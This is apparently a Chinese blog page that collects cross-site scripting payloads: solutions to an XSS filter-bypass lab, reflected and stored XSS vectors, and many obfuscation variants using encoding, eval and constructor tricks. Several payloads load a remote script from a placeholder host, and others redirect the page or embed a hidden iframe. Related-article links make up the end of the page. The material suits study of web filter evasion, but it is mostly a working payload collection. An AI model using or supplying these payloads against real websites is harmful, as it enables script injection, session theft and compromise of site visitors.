xss常见方式
1.<script>alert(1)</script>
2.源码第一个,[<]被转义,因此在第二个里
"><script>alert(1)</script><a class="
3.源码对第一个,第二个对[<]做了转义,是单引
<input name=keyword value=' '>' onfocus='alert(1)<input name=keyword value='' onfocus='alert(1)'>
4.<input name=keyword value=" ">" onfocus="alert(1)<input name=keyword value="" onfocus="alert(1)">
5.双引号,对on进行过滤
"><ScRiPt>alert(1)</script><a class="
6.对script进行过滤
<input name=keyword value=" ">"><a href="javascript:alert(1)">点击我</a class="<input name=keyword value=" "><a href="javascript:alert(1)">点击我</a class=" ">
7.对href进行了过滤
<input name=keyword value=" ">"><ScRiPt>alert(1)</script><a class="<input name=keyword value=""><ScRiPt>alert(1)</script><a class="">
8.对script进行过滤
<input name=keyword value=" ">"><scrscriptipt>alert(1)</scscriptript><a class="<input name=keyword value=""><scrscriptipt>alert(1)</scscriptript><a class="">
9.对script进行了过滤,使用伪事件(用tab进行反过滤)
<a href=" ">javascript:alert(1)<a href="javascript:alert(1)">
10.发现只有使用http://,且他们为完整的就行,伪事件(将r转化为10进制)
<a href=" ">javascript:alert('http://')<a href="javascript:alert('http://')">
11.有三个input标签被隐藏
<input name="t_sort" value="333" type="hidden">&t_sort=333" onclick=alert(1) type="text<input name="t_sort" value="333" onclick=alert(1)type="text " type="hidden">
<script>alert('xss')</script> 最简单常用的poc
"><script>alert(1)<script>
<a href='' onclick=alert('xss')>type</a> 页面出现一个按钮type,点击触发onclick,然后执行弹窗
<img src=http://1.1.1.1/a.ipg onerror=alert('xss')> 加载图片,给一个错误的图片地址,错误则执行弹窗
<script>window.location=‘http://1.1.1.1'</script> 重定向到指定的url地址
<iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe>
onmouseover=alert(document.domain) 闭合属性,构造on事件
onmousemove=alert(1)
<input type=”text ” onfocus=prompt(1) autofocus>
利用input的autofocus属性,无需用户交互即可触发xss.
htmlspecialchars:输入常用符号,看哪些符号没被实体编码。
如输入在herf或src里面:javascript:alert(1)
js输出,输入的数据由js变量接收,通过</script>闭合即可
反射性
<script>alert(‘xss’)</script>
<a href='' onclick=alert('xss')>type</a>
<img src=1 onerror=alert(1)>
<SCRIPT>alert(1)</SCRIPT>
<Sscriptcript>alert(1)</Sscriptcript>
遗漏标签
<details open ontoggle=top['al'%2B'ert'](1) >
<details open ontoggle=self['al'%2B'ert'](1) >
<details open ontoggle=parent['al'%2B'ert'](1) >
<details open ontoggle=frames['al'%2B'ert'](1) >
<details open ontoggle=content['al'%2B'ert'](1) >
<details open ontoggle=window['al'%2B'ert'](1) > JS8编码:
<details open ontoggle=top['al\145rt'](1) >
<details open ontoggle=top['\141\154\145\162\164'](1) >
JS16编码:
<details open ontoggle=top['al\x65rt'](1) >
其他
<details open ontoggle=top[/al/.source%2B/ert/.source](1) > toString()
<details open ontoggle=top[8680439..toString(30)](1); >
<details open ontoggle=top[11189117..toString(32)](1); > <img src=1 alt=al lang=ert onerror=top[alt%2blang](0)>
<details open ontoggle=top[a='al',b='ev',b%2ba]('alert(1)')> 将alert(1)编码,因为有eval存在
<details open ontoggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))>
<details open ontoggle=top[a='al',b='ev',b%2ba]('\141\154\145\162\164\50\61\51')>
<details open ontoggle=top[a='al',b='ev',b%2ba]('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')> eval函数的补充
<svg/onload=setTimeout`alert\u0028233\u0029`>
<svg/onload=setInterval('al'%2b'ert(1)')>
拆分与编码
<svg/onload=\u0073etInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(appendChild(createElement('sc\162ipt')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(appendChild(createElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(\u0061ppendChild(\u0063reateElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
结合函数:
<iframe onload=s=createElement('script');body.appendChild(s);s.src=['http','://','xx.xx','/eeW'].join('') >
<svg/onload=s=createElement('script');body.appendChild(s);s.src=['http']%2B['://']%2B['xx.xx']%2B['/eeW'].join('') >
<svg/onload=s=\u0063reateElement('scr'%2b'ipt');\u0062ody.\u0061ppendChild(s);s.src='http://x'.concat('x.xx/','eeW'); > constructor属性
<svg/onload=Set.constructor('al'%2b'ert(1)')()>
<svg/onload=Set.constructor(appendChild(createElement('script')).src='http://xx.xx/eeW')()> <svg/onload=Set.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=Map.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=clear.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=Array.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=WeakSet.constructor`al\x65rt\x28/xss/\x29```> 存储型
<script>alert(‘xss’)</script>
<a href='' onclick=alert('xss')>type</a>
<img src=1 onerror=alert(1)>
<SCRIPT>alert(1)</SCRIPT>
<Sscriptcript>alert(1)</Sscriptcript>
<a href=javascript:alert(1)>a</a>
<a href=javascript:alert(1)>a</a>
$nickname = htmlentities(@$_POST['nickname']);//昵称
xss常见方式的更多相关文章
- C# DataGridView绑定数据源的几种常见方式
开始以前,先认识一下WinForm控件数据绑定的两种形式,简单数据绑定和复杂数据绑定. 1. 简单的数据绑定 例1 using (SqlConnection conn = new SqlConnect ...
- jedis操作redis的几种常见方式总结
Redis是一个著名的key-value存储系统,也是nosql中的最常见的一种,这篇文章主要给大家总结了关于在java中jedis操作redis的几种常见方式,文中给出了详细的示例代码供大家参考学习 ...
- Tomcat 部署项目的几种常见方式
转自:https://www.cnblogs.com/yuht/p/5714624.html https://www.cnblogs.com/ysocean/p/6893446.html Tomcat ...
- 适用于app.config与web.config的ConfigUtil读写工具类 基于MongoDb官方C#驱动封装MongoDbCsharpHelper类(CRUD类) 基于ASP.NET WEB API实现分布式数据访问中间层(提供对数据库的CRUD) C# 实现AOP 的几种常见方式
适用于app.config与web.config的ConfigUtil读写工具类 之前文章:<两种读写配置文件的方案(app.config与web.config通用)>,现在重新整理一 ...
- 遍历集合的常见方式,排序,用lambda表示是怎样的
Collection集合的功能: Object[] toArray() 将集合转成数组 Iterator iterator() 通过方法的调用 获取I ...
- 风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧
风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧 XSS绕过-过滤-编码 核心思想 后台过滤了特殊字符,比如说
- 恶意软件开发——shellcode执行的几种常见方式
一.什么是shellcode? shellcode是一小段代码,用于利用软件漏洞作为有效载荷.它之所以被称为"shellcode",是因为它通常启动一个命令shell,攻击者可以从 ...
- XSS注入方式和逃避XSS过滤的常用方法(整理)
(转自黑吧安全网http://www.myhack58.com/) web前端开发常见的安全问题就是会遭遇XSS注入,而常见的XSS注入有以下2种方式: 一.html标签注入 这是最常见的一种,主要入 ...
- XSS常见攻击与防御
XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意 ...
随机推荐
- Jrebel、IDEA的激活与Springloaded使用
又有很长一段时间没写了,这次这篇随笔主要是分享下Jrebel与IDEA的激活方法以及推荐下Jrebel的替代工具Springloaded. 先来说下Jrebel的激活方法吧,之前有同事遇到了Jrebe ...
- Jetpack Compose和View的互操作性
Jetpack Compose Interoperability Compose风这么大, 对于已有项目使用新技术, 难免会担心兼容性. 对于Compose来说, 至少和View的结合是无缝的. (目 ...
- SQLLite数据库
SQLite数据库简介 一个小时内学习SQLite数据库 SQLite 教程 创建表: 1 sqlite> CREATE TABLE person (id INTEGER PRIMARY KEY ...
- Linux 命令行查看etcd v2所有的Key
etcd 是一个树型的数据结构,这样看所有的key: curl localhost:2379/v2/keys 这样看某个key的内容: curl localhost:2379/v2/keys/key ...
- golang中的defer和return的执行顺序
结论 go中是先给return准备返回值,再根据defer先进后出的规则执行,最后将返回值返回给调用者 测试用例1验证分析 代码片段如下: func foo_1() (err error) { def ...
- GetModuleFileName函数的用法
函数的功能 获取exe可执行文件的绝对路径. 用法 通过获取到exe的路径,可以获取到程序路径下(父路径或者子路径)的一些其它文件路径. 函数原型 DWORD WINAPI GetModuleFile ...
- Spring Cloud 整合 Feign 的原理
前言 在 上篇 介绍了 Feign 的核心实现原理,在文末也提到了会再介绍其和 Spring Cloud 的整合原理,Spring 具有很强的扩展性,会把一些常用的解决方案通过 starter 的方式 ...
- css 字体阴影和边框阴影
字体阴影 text-shadow: 2px 2px 2px #7a7e81; 边框阴影 box-shadow: 2px 2px 2px #7a7e81;
- C. Learning Languages 求联通块的个数
C. Learning Languages 1 #include <iostream> 2 #include <cstdio> 3 #include <cstring&g ...
- Machine Schedule 赤裸裸的二分匹配 二部图中的点覆盖书==匹配数
Machine Schedule 1 #include <iostream> 2 #include <cstdio> 3 #include <cstring> 4 ...